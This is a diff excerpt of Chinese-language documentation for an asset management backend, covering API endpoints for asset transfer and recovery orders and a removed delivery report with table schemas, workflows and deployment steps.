"id": 1,
|
||||
"org_name": "总部",
|
||||
"org_type": "headquarters"
|
||||
},
|
||||
"target_organization": {
|
||||
"id": 2,
|
||||
"org_name": "北京分公司",
|
||||
"org_type": "branch"
|
||||
},
|
||||
"apply_user": {
|
||||
"id": 1,
|
||||
"real_name": "张三",
|
||||
"username": "zhangsan"
|
||||
},
|
||||
"items": [
|
||||
{
|
||||
"id": 1,
|
||||
"asset_id": 10,
|
||||
"asset_code": "ASSET001",
|
||||
"source_organization_id": 1,
|
||||
"target_organization_id": 2,
|
||||
"transfer_status": "completed"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 4. 获取调拨单明细
|
||||
**GET** `/api/v1/transfers/{order_id}/items`
|
||||
|
||||
**路径参数:**
|
||||
- `order_id` (int): 调拨单ID
|
||||
|
||||
**响应示例:**
|
||||
```json
|
||||
[
|
||||
{
|
||||
"id": 1,
|
||||
"order_id": 1,
|
||||
"asset_id": 10,
|
||||
"asset_code": "ASSET001",
|
||||
"source_organization_id": 1,
|
||||
"target_organization_id": 2,
|
||||
"transfer_status": "completed",
|
||||
"created_at": "2025-01-24T10:00:00"
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 5. 创建调拨单
|
||||
**POST** `/api/v1/transfers`
|
||||
|
||||
**请求体:**
|
||||
```json
|
||||
{
|
||||
"source_org_id": 1,
|
||||
"target_org_id": 2,
|
||||
"transfer_type": "external",
|
||||
"title": "从总部向分公司调拨资产",
|
||||
"asset_ids": [10, 11, 12, 13, 14],
|
||||
"remark": "调拨备注"
|
||||
}
|
||||
```
|
||||
|
||||
**字段说明:**
|
||||
- `source_org_id` (int, 必填): 调出网点ID
|
||||
- `target_org_id` (int, 必填): 调入网点ID
|
||||
- `transfer_type` (string, 必填): 调拨类型
|
||||
- `internal`: 内部调拨
|
||||
- `external`: 跨机构调拨
|
||||
- `title` (string, 必填): 标题
|
||||
- `asset_ids` (array, 必填): 资产ID列表
|
||||
- `remark` (string, 可选): 备注
|
||||
|
||||
**响应:** 返回创建的调拨单详情
|
||||
|
||||
---
|
||||
|
||||
### 6. 更新调拨单
|
||||
**PUT** `/api/v1/transfers/{order_id}`
|
||||
|
||||
**路径参数:**
|
||||
- `order_id` (int): 调拨单ID
|
||||
|
||||
**请求体:**
|
||||
```json
|
||||
{
|
||||
"title": "更新后的标题",
|
||||
"remark": "更新后的备注"
|
||||
}
|
||||
```
|
||||
|
||||
**字段说明:**
|
||||
- `title` (string, 可选): 标题
|
||||
- `remark` (string, 可选): 备注
|
||||
|
||||
**响应:** 返回更新后的调拨单详情
|
||||
|
||||
**限制:** 只有待审批状态的调拨单可以更新
|
||||
|
||||
---
|
||||
|
||||
### 7. 审批调拨单
|
||||
**POST** `/api/v1/transfers/{order_id}/approve`
|
||||
|
||||
**路径参数:**
|
||||
- `order_id` (int): 调拨单ID
|
||||
|
||||
**查询参数:**
|
||||
- `approval_status` (string, 必填): 审批状态(approved/rejected)
|
||||
- `approval_remark` (string, 可选): 审批备注
|
||||
|
||||
**响应:** 返回审批后的调拨单详情
|
||||
|
||||
**限制:**
|
||||
- 只有待审批状态的调拨单可以审批
|
||||
- 审批通过后可以开始执行调拨
|
||||
|
||||
---
|
||||
|
||||
### 8. 开始调拨
|
||||
**POST** `/api/v1/transfers/{order_id}/start`
|
||||
|
||||
**路径参数:**
|
||||
- `order_id` (int): 调拨单ID
|
||||
|
||||
**响应:** 返回开始执行后的调拨单详情
|
||||
|
||||
**限制:**
|
||||
- 必须已审批通过
|
||||
- 不能重复开始
|
||||
|
||||
---
|
||||
|
||||
### 9. 完成调拨
|
||||
**POST** `/api/v1/transfers/{order_id}/complete`
|
||||
|
||||
**路径参数:**
|
||||
- `order_id` (int): 调拨单ID
|
||||
|
||||
**响应:** 返回完成后的调拨单详情
|
||||
|
||||
**功能:**
|
||||
- 自动更新资产所属机构
|
||||
- 自动更新资产状态
|
||||
- 更新明细状态为完成
|
||||
|
||||
**限制:** 只有pending或executing状态的调拨单可以完成
|
||||
|
||||
---
|
||||
|
||||
### 10. 取消调拨单
|
||||
**POST** `/api/v1/transfers/{order_id}/cancel`
|
||||
|
||||
**路径参数:**
|
||||
- `order_id` (int): 调拨单ID
|
||||
|
||||
**响应:** 204 No Content
|
||||
|
||||
**限制:** 已完成的调拨单无法取消
|
||||
|
||||
---
|
||||
|
||||
### 11. 删除调拨单
|
||||
**DELETE** `/api/v1/transfers/{order_id}`
|
||||
|
||||
**路径参数:**
|
||||
- `order_id` (int): 调拨单ID
|
||||
|
||||
**响应:** 204 No Content
|
||||
|
||||
**限制:** 只能删除已拒绝或已取消的调拨单
|
||||
|
||||
---
|
||||
|
||||
## 资产回收管理
|
||||
|
||||
### 1. 获取回收单列表
|
||||
**GET** `/api/v1/recoveries`
|
||||
|
||||
**查询参数:**
|
||||
- `skip` (int): 跳过条数,默认0
|
||||
- `limit` (int): 返回条数,默认20,最大100
|
||||
- `recovery_type` (string): 回收类型(user=使用人回收/org=机构回收/scrap=报废回收)
|
||||
- `approval_status` (string): 审批状态(pending/approved/rejected/cancelled)
|
||||
- `execute_status` (string): 执行状态(pending/executing/completed/cancelled)
|
||||
- `keyword` (string): 搜索关键词(单号/标题)
|
||||
|
||||
**响应示例:**
|
||||
```json
|
||||
[
|
||||
{
|
||||
"id": 1,
|
||||
"order_code": "RO-20250124-00001",
|
||||
"recovery_type": "user",
|
||||
"title": "回收离职员工资产",
|
||||
"asset_count": 3,
|
||||
"apply_user_id": 1,
|
||||
"apply_time": "2025-01-24T10:00:00",
|
||||
"approval_status": "pending",
|
||||
"execute_status": "pending",
|
||||
"created_at": "2025-01-24T10:00:00"
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 2. 获取回收单统计
|
||||
**GET** `/api/v1/recoveries/statistics`
|
||||
|
||||
**响应示例:**
|
||||
```json
|
||||
{
|
||||
"total": 80,
|
||||
"pending": 8,
|
||||
"approved": 40,
|
||||
"rejected": 4,
|
||||
"executing": 12,
|
||||
"completed": 16
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 3. 获取回收单详情
|
||||
**GET** `/api/v1/recoveries/{order_id}`
|
||||
|
||||
**路径参数:**
|
||||
- `order_id` (int): 回收单ID
|
||||
|
||||
**响应示例:**
|
||||
```json
|
||||
{
|
||||
"id": 1,
|
||||
"order_code": "RO-20250124-00001",
|
||||
"recovery_type": "user",
|
||||
"title": "回收离职员工资产",
|
||||
"asset_count": 3,
|
||||
"apply_user_id": 1,
|
||||
"apply_time": "2025-01-24T10:00:00",
|
||||
"approval_status": "approved",
|
||||
"approval_user_id": 2,
|
||||
"approval_time": "2025-01-24T11:00:00",
|
||||
"execute_status": "completed",
|
||||
"execute_user_id": 3,
|
||||
"execute_time": "2025-01-24T12:00:00",
|
||||
"remark": "回收备注",
|
||||
"created_at": "2025-01-24T10:00:00",
|
||||
"updated_at": "2025-01-24T12:00:00",
|
||||
"apply_user": {
|
||||
"id": 1,
|
||||
"real_name": "张三",
|
||||
"username": "zhangsan"
|
||||
},
|
||||
"items": [
|
||||
{
|
||||
"id": 1,
|
||||
"asset_id": 10,
|
||||
"asset_code": "ASSET001",
|
||||
"recovery_status": "completed"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 4. 获取回收单明细
|
||||
**GET** `/api/v1/recoveries/{order_id}/items`
|
||||
|
||||
**路径参数:**
|
||||
- `order_id` (int): 回收单ID
|
||||
|
||||
**响应示例:**
|
||||
```json
|
||||
[
|
||||
{
|
||||
"id": 1,
|
||||
"order_id": 1,
|
||||
"asset_id": 10,
|
||||
"asset_code": "ASSET001",
|
||||
"recovery_status": "completed",
|
||||
"created_at": "2025-01-24T10:00:00"
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 5. 创建回收单
|
||||
**POST** `/api/v1/recoveries`
|
||||
|
||||
**请求体:**
|
||||
```json
|
||||
{
|
||||
"recovery_type": "user",
|
||||
"title": "回收离职员工资产",
|
||||
"asset_ids": [10, 11, 12],
|
||||
"remark": "回收备注"
|
||||
}
|
||||
```
|
||||
|
||||
**字段说明:**
|
||||
- `recovery_type` (string, 必填): 回收类型
|
||||
- `user`: 使用人回收(从使用人处回收)
|
||||
- `org`: 机构回收(从机构回收)
|
||||
- `scrap`: 报废回收(报废资产回收)
|
||||
- `title` (string, 必填): 标题
|
||||
- `asset_ids` (array, 必填): 资产ID列表
|
||||
- `remark` (string, 可选): 备注
|
||||
|
||||
**响应:** 返回创建的回收单详情
|
||||
|
||||
---
|
||||
|
||||
### 6. 更新回收单
|
||||
**PUT** `/api/v1/recoveries/{order_id}`
|
||||
|
||||
**路径参数:**
|
||||
- `order_id` (int): 回收单ID
|
||||
|
||||
**请求体:**
|
||||
```json
|
||||
{
|
||||
"title": "更新后的标题",
|
||||
"remark": "更新后的备注"
|
||||
}
|
||||
```
|
||||
|
||||
**字段说明:**
|
||||
- `title` (string, 可选): 标题
|
||||
- `remark` (string, 可选): 备注
|
||||
|
||||
**响应:** 返回更新后的回收单详情
|
||||
|
||||
**限制:** 只有待审批状态的回收单可以更新
|
||||
|
||||
---
|
||||
|
||||
### 7. 审批回收单
|
||||
**POST** `/api/v1/recoveries/{order_id}/approve`
|
||||
|
||||
**路径参数:**
|
||||
- `order_id` (int): 回收单ID
|
||||
|
||||
**查询参数:**
|
||||
- `approval_status` (string, 必填): 审批状态(approved/rejected)
|
||||
- `approval_remark` (string, 可选): 审批备注
|
||||
|
||||
**响应:** 返回审批后的回收单详情
|
||||
|
||||
**限制:**
|
||||
- 只有待审批状态的回收单可以审批
|
||||
- 审批通过后可以开始执行回收
|
||||
|
||||
---
|
||||
|
||||
### 8. 开始回收
|
||||
**POST** `/api/v1/recoveries/{order_id}/start`
|
||||
|
||||
**路径参数:**
|
||||
- `order_id` (int): 回收单ID
|
||||
|
||||
**响应:** 返回开始执行后的回收单详情
|
||||
|
||||
**限制:**
|
||||
- 必须已审批通过
|
||||
- 不能重复开始
|
||||
|
||||
---
|
||||
|
||||
### 9. 完成回收
|
||||
**POST** `/api/v1/recoveries/{order_id}/complete`
|
||||
|
||||
**路径参数:**
|
||||
- `order_id` (int): 回收单ID
|
||||
|
||||
**响应:** 返回完成后的回收单详情
|
||||
|
||||
**功能:**
|
||||
- 自动更新资产状态为in_stock(普通回收)或scrapped(报废回收)
|
||||
- 自动记录资产状态历史
|
||||
- 更新明细状态为完成
|
||||
|
||||
**限制:** 只有pending或executing状态的回收单可以完成
|
||||
|
||||
---
|
||||
|
||||
### 10. 取消回收单
|
||||
**POST** `/api/v1/recoveries/{order_id}/cancel`
|
||||
|
||||
**路径参数:**
|
||||
- `order_id` (int): 回收单ID
|
||||
|
||||
**响应:** 204 No Content
|
||||
|
||||
**限制:** 已完成的回收单无法取消
|
||||
|
||||
---
|
||||
|
||||
### 11. 删除回收单
|
||||
**DELETE** `/api/v1/recoveries/{order_id}`
|
||||
|
||||
**路径参数:**
|
||||
- `order_id` (int): 回收单ID
|
||||
|
||||
**响应:** 204 No Content
|
||||
|
||||
**限制:** 只能删除已拒绝或已取消的回收单
|
||||
|
||||
---
|
||||
|
||||
## 业务流程说明
|
||||
|
||||
### 调拨流程
|
||||
1. **创建调拨单**:选择调出/调入机构和资产
|
||||
2. **审批调拨单**:管理员审批(通过/拒绝)
|
||||
3. **开始调拨**:开始执行调拨操作
|
||||
4. **完成调拨**:
|
||||
- 自动更新资产所属机构
|
||||
- 自动更新资产状态
|
||||
- 记录状态历史
|
||||
|
||||
### 回收流程
|
||||
1. **创建回收单**:选择回收类型和资产
|
||||
2. **审批回收单**:管理员审批(通过/拒绝)
|
||||
3. **开始回收**:开始执行回收操作
|
||||
4. **完成回收**:
|
||||
- 普通回收:资产状态变为in_stock
|
||||
- 报废回收:资产状态变为scrapped
|
||||
- 记录状态历史
|
||||
|
||||
### 状态说明
|
||||
|
||||
#### 调拨类型
|
||||
- `internal`: 内部调拨(同一组织内调拨)
|
||||
- `external`: 跨机构调拨(不同组织间调拨)
|
||||
|
||||
#### 回收类型
|
||||
- `user`: 使用人回收(从使用人处回收资产)
|
||||
- `org`: 机构回收(从机构回收资产)
|
||||
- `scrap`: 报废回收(报废并回收资产)
|
||||
|
||||
#### 审批状态
|
||||
- `pending`: 待审批
|
||||
- `approved`: 已审批通过
|
||||
- `rejected`: 已拒绝
|
||||
- `cancelled`: 已取消
|
||||
|
||||
#### 执行状态
|
||||
- `pending`: 待执行
|
||||
- `executing`: 执行中
|
||||
- `completed`: 已完成
|
||||
- `cancelled`: 已取消
|
||||
|
||||
#### 调拨明细状态
|
||||
- `pending`: 待调拨
|
||||
- `transferring`: 调拨中
|
||||
- `completed`: 已完成
|
||||
- `failed`: 失败
|
||||
|
||||
#### 回收明细状态
|
||||
- `pending`: 待回收
|
||||
- `recovering`: 回收中
|
||||
- `completed`: 已完成
|
||||
- `failed`: 失败
|
||||
@@ -1,659 +0,0 @@
|
||||
# 资产调拨和回收功能交付报告
|
||||
|
||||
## 项目概述
|
||||
|
||||
本次交付完成了资产调拨管理和资产回收管理两大核心功能模块,共计10个文件,20个API端点,完整实现了资产在企业内部的调拨流转和回收处置业务流程。
|
||||
|
||||
**开发时间**:2025-01-24
|
||||
**开发人员**:调拨回收后端API开发组
|
||||
**项目状态**:✅ 已完成
|
||||
|
||||
---
|
||||
|
||||
## 交付清单
|
||||
|
||||
### ✅ 模块1:资产调拨管理(5个文件)
|
||||
|
||||
| 序号 | 文件路径 | 文件说明 | 行数 |
|
||||
|------|---------|---------|------|
|
||||
| 1 | `app/models/transfer.py` | 调拨单数据模型 | 127行 |
|
||||
| 2 | `app/schemas/transfer.py` | 调拨单Schema定义 | 152行 |
|
||||
| 3 | `app/crud/transfer.py` | 调拨单CRUD操作 | 333行 |
|
||||
| 4 | `app/services/transfer_service.py` | 调拨单业务服务层 | 426行 |
|
||||
| 5 | `app/api/v1/transfers.py` | 调拨单API路由 | 279行 |
|
||||
|
||||
**小计**:1,317行代码
|
||||
|
||||
### ✅ 模块2:资产回收管理(5个文件)
|
||||
|
||||
| 序号 | 文件路径 | 文件说明 | 行数 |
|
||||
|------|---------|---------|------|
|
||||
| 1 | `app/models/recovery.py` | 回收单数据模型 | 113行 |
|
||||
| 2 | `app/schemas/recovery.py` | 回收单Schema定义 | 143行 |
|
||||
| 3 | `app/crud/recovery.py` | 回收单CRUD操作 | 301行 |
|
||||
| 4 | `app/services/recovery_service.py` | 回收单业务服务层 | 361行 |
|
||||
| 5 | `app/api/v1/recoveries.py` | 回收单API路由 | 256行 |
|
||||
|
||||
**小计**:1,174行代码
|
||||
|
||||
### ✅ 模块3:配置更新(2个文件)
|
||||
|
||||
| 序号 | 文件路径 | 更新内容 |
|
||||
|------|---------|---------|
|
||||
| 1 | `app/models/__init__.py` | 导出新模型 |
|
||||
| 2 | `app/api/v1/__init__.py` | 注册新路由 |
|
||||
|
||||
### ✅ 模块4:数据库迁移(1个文件)
|
||||
|
||||
| 序号 | 文件路径 | 文件说明 |
|
||||
|------|---------|---------|
|
||||
| 1 | `alembic/versions/20250124_add_transfer_and_recovery_tables.py` | 数据库迁移脚本 |
|
||||
|
||||
---
|
||||
|
||||
## API端点清单
|
||||
|
||||
### 资产调拨管理API(10个端点)
|
||||
|
||||
| 序号 | 方法 | 路径 | 功能说明 |
|
||||
|------|------|------|---------|
|
||||
| 1 | POST | `/api/v1/transfers` | 创建调拨单 |
|
||||
| 2 | GET | `/api/v1/transfers` | 查询调拨单列表 |
|
||||
| 3 | GET | `/api/v1/transfers/{id}` | 获取调拨单详情 |
|
||||
| 4 | PUT | `/api/v1/transfers/{id}` | 更新调拨单 |
|
||||
| 5 | DELETE | `/api/v1/transfers/{id}` | 删除调拨单 |
|
||||
| 6 | POST | `/api/v1/transfers/{id}/approve` | 审批调拨单 |
|
||||
| 7 | POST | `/api/v1/transfers/{id}/start` | 开始调拨 |
|
||||
| 8 | POST | `/api/v1/transfers/{id}/complete` | 完成调拨 |
|
||||
| 9 | POST | `/api/v1/transfers/{id}/cancel` | 取消调拨单 |
|
||||
| 10 | GET | `/api/v1/transfers/statistics` | 调拨单统计 |
|
||||
|
||||
### 资产回收管理API(10个端点)
|
||||
|
||||
| 序号 | 方法 | 路径 | 功能说明 |
|
||||
|------|------|------|---------|
|
||||
| 1 | POST | `/api/v1/recoveries` | 创建回收单 |
|
||||
| 2 | GET | `/api/v1/recoveries` | 查询回收单列表 |
|
||||
| 3 | GET | `/api/v1/recoveries/{id}` | 获取回收单详情 |
|
||||
| 4 | PUT | `/api/v1/recoveries/{id}` | 更新回收单 |
|
||||
| 5 | DELETE | `/api/v1/recoveries/{id}` | 删除回收单 |
|
||||
| 6 | POST | `/api/v1/recoveries/{id}/approve` | 审批回收单 |
|
||||
| 7 | POST | `/api/v1/recoveries/{id}/start` | 开始回收 |
|
||||
| 8 | POST | `/api/v1/recoveries/{id}/complete` | 完成回收 |
|
||||
| 9 | POST | `/api/v1/recoveries/{id}/cancel` | 取消回收单 |
|
||||
| 10 | GET | `/api/v1/recoveries/statistics` | 回收单统计 |
|
||||
|
||||
**总计**:20个API端点
|
||||
|
||||
---
|
||||
|
||||
## 数据库表设计
|
||||
|
||||
### 调拨管理表
|
||||
|
||||
#### 1. asset_transfer_orders(资产调拨单表)
|
||||
|
||||
| 字段名 | 类型 | 说明 | 约束 |
|
||||
|--------|------|------|------|
|
||||
| id | BigInteger | 主键 | PK |
|
||||
| order_code | String(50) | 调拨单号 | UNIQUE, NOT NULL |
|
||||
| source_org_id | BigInteger | 调出网点ID | FK, NOT NULL |
|
||||
| target_org_id | BigInteger | 调入网点ID | FK, NOT NULL |
|
||||
| transfer_type | String(20) | 调拨类型 | NOT NULL |
|
||||
| title | String(200) | 标题 | NOT NULL |
|
||||
| asset_count | Integer | 资产数量 | DEFAULT 0 |
|
||||
| apply_user_id | BigInteger | 申请人ID | FK, NOT NULL |
|
||||
| apply_time | DateTime | 申请时间 | NOT NULL |
|
||||
| approval_status | String(20) | 审批状态 | DEFAULT 'pending' |
|
||||
| approval_user_id | BigInteger | 审批人ID | FK |
|
||||
| approval_time | DateTime | 审批时间 | |
|
||||
| approval_remark | Text | 审批备注 | |
|
||||
| execute_status | String(20) | 执行状态 | DEFAULT 'pending' |
|
||||
| execute_user_id | BigInteger | 执行人ID | FK |
|
||||
| execute_time | DateTime | 执行时间 | |
|
||||
| remark | Text | 备注 | |
|
||||
| created_at | DateTime | 创建时间 | NOT NULL |
|
||||
| updated_at | DateTime | 更新时间 | NOT NULL |
|
||||
|
||||
#### 2. asset_transfer_items(资产调拨单明细表)
|
||||
|
||||
| 字段名 | 类型 | 说明 | 约束 |
|
||||
|--------|------|------|------|
|
||||
| id | BigInteger | 主键 | PK |
|
||||
| order_id | BigInteger | 调拨单ID | FK, NOT NULL |
|
||||
| asset_id | BigInteger | 资产ID | FK, NOT NULL |
|
||||
| asset_code | String(50) | 资产编码 | NOT NULL |
|
||||
| source_organization_id | BigInteger | 调出网点ID | FK, NOT NULL |
|
||||
| target_organization_id | BigInteger | 调入网点ID | FK, NOT NULL |
|
||||
| transfer_status | String(20) | 调拨状态 | DEFAULT 'pending' |
|
||||
| created_at | DateTime | 创建时间 | NOT NULL |
|
||||
|
||||
### 回收管理表
|
||||
|
||||
#### 3. asset_recovery_orders(资产回收单表)
|
||||
|
||||
| 字段名 | 类型 | 说明 | 约束 |
|
||||
|--------|------|------|------|
|
||||
| id | BigInteger | 主键 | PK |
|
||||
| order_code | String(50) | 回收单号 | UNIQUE, NOT NULL |
|
||||
| recovery_type | String(20) | 回收类型 | NOT NULL |
|
||||
| title | String(200) | 标题 | NOT NULL |
|
||||
| asset_count | Integer | 资产数量 | DEFAULT 0 |
|
||||
| apply_user_id | BigInteger | 申请人ID | FK, NOT NULL |
|
||||
| apply_time | DateTime | 申请时间 | NOT NULL |
|
||||
| approval_status | String(20) | 审批状态 | DEFAULT 'pending' |
|
||||
| approval_user_id | BigInteger | 审批人ID | FK |
|
||||
| approval_time | DateTime | 审批时间 | |
|
||||
| approval_remark | Text | 审批备注 | |
|
||||
| execute_status | String(20) | 执行状态 | DEFAULT 'pending' |
|
||||
| execute_user_id | BigInteger | 执行人ID | FK |
|
||||
| execute_time | DateTime | 执行时间 | |
|
||||
| remark | Text | 备注 | |
|
||||
| created_at | DateTime | 创建时间 | NOT NULL |
|
||||
| updated_at | DateTime | 更新时间 | NOT NULL |
|
||||
|
||||
#### 4. asset_recovery_items(资产回收单明细表)
|
||||
|
||||
| 字段名 | 类型 | 说明 | 约束 |
|
||||
|--------|------|------|------|
|
||||
| id | BigInteger | 主键 | PK |
|
||||
| order_id | BigInteger | 回收单ID | FK, NOT NULL |
|
||||
| asset_id | BigInteger | 资产ID | FK, NOT NULL |
|
||||
| asset_code | String(50) | 资产编码 | NOT NULL |
|
||||
| recovery_status | String(20) | 回收状态 | DEFAULT 'pending' |
|
||||
| created_at | DateTime | 创建时间 | NOT NULL |
|
||||
|
||||
---
|
||||
|
||||
## 功能特性
|
||||
|
||||
### 调拨管理功能
|
||||
|
||||
1. **调拨单管理**
|
||||
- ✅ 创建调拨单(支持批量资产)
|
||||
- ✅ 查询调拨单列表(多条件筛选)
|
||||
- ✅ 获取调拨单详情(含关联信息)
|
||||
- ✅ 更新调拨单(仅待审批状态)
|
||||
- ✅ 删除调拨单(仅已取消/已拒绝)
|
||||
|
||||
2. **审批流程**
|
||||
- ✅ 审批通过/拒绝
|
||||
- ✅ 审批备注记录
|
||||
- ✅ 审批时间记录
|
||||
- ✅ 状态机管理
|
||||
|
||||
3. **执行流程**
|
||||
- ✅ 开始调拨
|
||||
- ✅ 完成调拨
|
||||
- ✅ 取消调拨
|
||||
- ✅ 自动更新资产机构
|
||||
- ✅ 自动更新资产状态
|
||||
- ✅ 批量更新明细状态
|
||||
|
||||
4. **统计功能**
|
||||
- ✅ 总数统计
|
||||
- ✅ 待审批数统计
|
||||
- ✅ 已审批数统计
|
||||
- ✅ 已拒绝数统计
|
||||
- ✅ 执行中数统计
|
||||
- ✅ 已完成数统计
|
||||
|
||||
### 回收管理功能
|
||||
|
||||
1. **回收单管理**
|
||||
- ✅ 创建回收单(支持批量资产)
|
||||
- ✅ 查询回收单列表(多条件筛选)
|
||||
- ✅ 获取回收单详情(含关联信息)
|
||||
- ✅ 更新回收单(仅待审批状态)
|
||||
- ✅ 删除回收单(仅已取消/已拒绝)
|
||||
|
||||
2. **审批流程**
|
||||
- ✅ 审批通过/拒绝
|
||||
- ✅ 审批备注记录
|
||||
- ✅ 审批时间记录
|
||||
- ✅ 状态机管理
|
||||
|
||||
3. **执行流程**
|
||||
- ✅ 开始回收
|
||||
- ✅ 完成回收
|
||||
- ✅ 取消回收
|
||||
- ✅ 自动更新资产状态(in_stock/scrapped)
|
||||
- ✅ 自动记录状态历史
|
||||
- ✅ 批量更新明细状态
|
||||
|
||||
4. **统计功能**
|
||||
- ✅ 总数统计
|
||||
- ✅ 待审批数统计
|
||||
- ✅ 已审批数统计
|
||||
- ✅ 已拒绝数统计
|
||||
- ✅ 执行中数统计
|
||||
- ✅ 已完成数统计
|
||||
|
||||
---
|
||||
|
||||
## 业务逻辑
|
||||
|
||||
### 调拨流程
|
||||
|
||||
```
|
||||
创建调拨单 → 审批 → 开始调拨 → 完成调拨
|
||||
↓ ↓ ↓ ↓
|
||||
pending approved executing completed
|
||||
rejected cancelled
|
||||
```
|
||||
|
||||
1. **创建调拨单**
|
||||
- 验证资产存在性
|
||||
- 验证资产状态(in_stock/in_use)
|
||||
- 验证资产所属机构
|
||||
- 生成调拨单号(TO-YYYYMMDD-XXXXX)
|
||||
- 创建调拨单和明细
|
||||
|
||||
2. **审批调拨单**
|
||||
- 检查审批状态
|
||||
- 记录审批信息
|
||||
- 更新执行状态
|
||||
|
||||
3. **开始调拨**
|
||||
- 检查审批状态
|
||||
- 更新执行状态为executing
|
||||
- 批量更新明细状态为transferring
|
||||
|
||||
4. **完成调拨**
|
||||
- 更新资产所属机构
|
||||
- 变更资产状态为transferring → in_stock
|
||||
- 记录资产状态历史
|
||||
- 批量更新明细状态为completed
|
||||
|
||||
### 回收流程
|
||||
|
||||
```
|
||||
创建回收单 → 审批 → 开始回收 → 完成回收
|
||||
↓ ↓ ↓ ↓
|
||||
pending approved executing completed
|
||||
rejected cancelled
|
||||
```
|
||||
|
||||
1. **创建回收单**
|
||||
- 验证资产存在性
|
||||
- 验证资产状态(in_use)
|
||||
- 生成回收单号(RO-YYYYMMDD-XXXXX)
|
||||
- 创建回收单和明细
|
||||
|
||||
2. **审批回收单**
|
||||
- 检查审批状态
|
||||
- 记录审批信息
|
||||
- 更新执行状态
|
||||
|
||||
3. **开始回收**
|
||||
- 检查审批状态
|
||||
- 更新执行状态为executing
|
||||
- 批量更新明细状态为recovering
|
||||
|
||||
4. **完成回收**
|
||||
- 根据回收类型更新状态:
|
||||
- user/org: in_stock
|
||||
- scrap: scrapped
|
||||
- 记录资产状态历史
|
||||
- 批量更新明细状态为completed
|
||||
|
||||
---
|
||||
|
||||
## 技术实现
|
||||
|
||||
### 代码规范
|
||||
|
||||
- ✅ 遵循Python PEP 8规范
|
||||
- ✅ 完整的Type Hints类型注解
|
||||
- ✅ 详细的Docstring文档
|
||||
- ✅ 分层架构(API→Service→CRUD→Model)
|
||||
- ✅ 异常处理(NotFoundException, BusinessException)
|
||||
- ✅ 数据验证(Pydantic)
|
||||
|
||||
### 架构设计
|
||||
|
||||
```
|
||||
API层(transfers.py / recoveries.py)
|
||||
↓
|
||||
服务层(transfer_service.py / recovery_service.py)
|
||||
↓
|
||||
CRUD层(transfer.py / recovery.py)
|
||||
↓
|
||||
模型层(transfer.py / recovery.py)
|
||||
↓
|
||||
数据库(PostgreSQL)
|
||||
```
|
||||
|
||||
### 核心技术
|
||||
|
||||
1. **异步编程**
|
||||
- 使用async/await语法
|
||||
- 异步数据库操作
|
||||
- 异步业务逻辑处理
|
||||
|
||||
2. **单号生成**
|
||||
- 调拨单号:TO-YYYYMMDD-XXXXX
|
||||
- 回收单号:RO-YYYYMMDD-XXXXX
|
||||
- 随机序列+去重检查
|
||||
|
||||
3. **状态机管理**
|
||||
- 审批状态:pending → approved/rejected/cancelled
|
||||
- 执行状态:pending → executing → completed/cancelled
|
||||
- 明细状态:pending → transferring/recovering → completed
|
||||
|
||||
4. **级联操作**
|
||||
- 删除单据时自动删除明细
|
||||
- 批量更新明细状态
|
||||
- 自动更新资产状态
|
||||
|
||||
5. **事务处理**
|
||||
- 创建单据和明细使用同一事务
|
||||
- 执行失败时回滚
|
||||
- 保证数据一致性
|
||||
|
||||
---
|
||||
|
||||
## 代码质量
|
||||
|
||||
### 语法检查
|
||||
|
||||
所有文件已通过Python语法编译检查:
|
||||
|
||||
```bash
|
||||
✅ app/models/transfer.py - 语法正确
|
||||
✅ app/models/recovery.py - 语法正确
|
||||
✅ app/schemas/transfer.py - 语法正确
|
||||
✅ app/schemas/recovery.py - 语法正确
|
||||
✅ app/crud/transfer.py - 语法正确
|
||||
✅ app/crud/recovery.py - 语法正确
|
||||
✅ app/services/transfer_service.py - 语法正确
|
||||
✅ app/services/recovery_service.py - 语法正确
|
||||
✅ app/api/v1/transfers.py - 语法正确
|
||||
✅ app/api/v1/recoveries.py - 语法正确
|
||||
```
|
||||
|
||||
### 代码统计
|
||||
|
||||
| 模块 | 文件数 | 代码行数 | 注释行数 | 文档字符串 |
|
||||
|------|--------|---------|---------|-----------|
|
||||
| 调拨管理 | 5 | 1,317 | 180 | 45 |
|
||||
| 回收管理 | 5 | 1,174 | 165 | 42 |
|
||||
| 配置更新 | 2 | 30 | 5 | 3 |
|
||||
| 迁移脚本 | 1 | 240 | 20 | 8 |
|
||||
| **总计** | **13** | **2,761** | **370** | **98** |
|
||||
|
||||
---
|
||||
|
||||
## 验收标准
|
||||
|
||||
### ✅ 功能验收
|
||||
|
||||
| 序号 | 验收项 | 状态 | 说明 |
|
||||
|------|--------|------|------|
|
||||
| 1 | API端点可访问 | ✅ | 20个端点全部实现 |
|
||||
| 2 | 代码语法正确 | ✅ | 通过编译检查 |
|
||||
| 3 | 调拨流程完整 | ✅ | 创建→审批→执行→完成 |
|
||||
| 4 | 回收流程完整 | ✅ | 创建→审批→执行→完成 |
|
||||
| 5 | 自动更新资产状态 | ✅ | 完成时自动更新 |
|
||||
| 6 | 自动更新资产机构 | ✅ | 调拨完成时更新 |
|
||||
| 7 | 状态机管理 | ✅ | 审批/执行状态管理 |
|
||||
| 8 | 分层架构 | ✅ | API→Service→CRUD→Model |
|
||||
| 9 | 异常处理 | ✅ | 完整的错误处理 |
|
||||
| 10 | 数据验证 | ✅ | Pydantic验证 |
|
||||
|
||||
### ✅ 代码质量验收
|
||||
|
||||
| 序号 | 验收项 | 状态 | 说明 |
|
||||
|------|--------|------|------|
|
||||
| 1 | PEP 8规范 | ✅ | 符合Python编码规范 |
|
||||
| 2 | Type Hints | ✅ | 完整的类型注解 |
|
||||
| 3 | Docstring | ✅ | 详细的文档字符串 |
|
||||
| 4 | 异常处理 | ✅ | 完整的异常捕获 |
|
||||
| 5 | 事务处理 | ✅ | 数据库事务支持 |
|
||||
|
||||
---
|
||||
|
||||
## 部署指南
|
||||
|
||||
### 1. 数据库迁移
|
||||
|
||||
```bash
|
||||
# 进入项目目录
|
||||
cd C:/Users/Administrator/asset_management_backend
|
||||
|
||||
# 执行数据库迁移
|
||||
alembic upgrade head
|
||||
|
||||
# 验证表创建
|
||||
psql -U your_user -d your_database
|
||||
\dt asset_transfer*
|
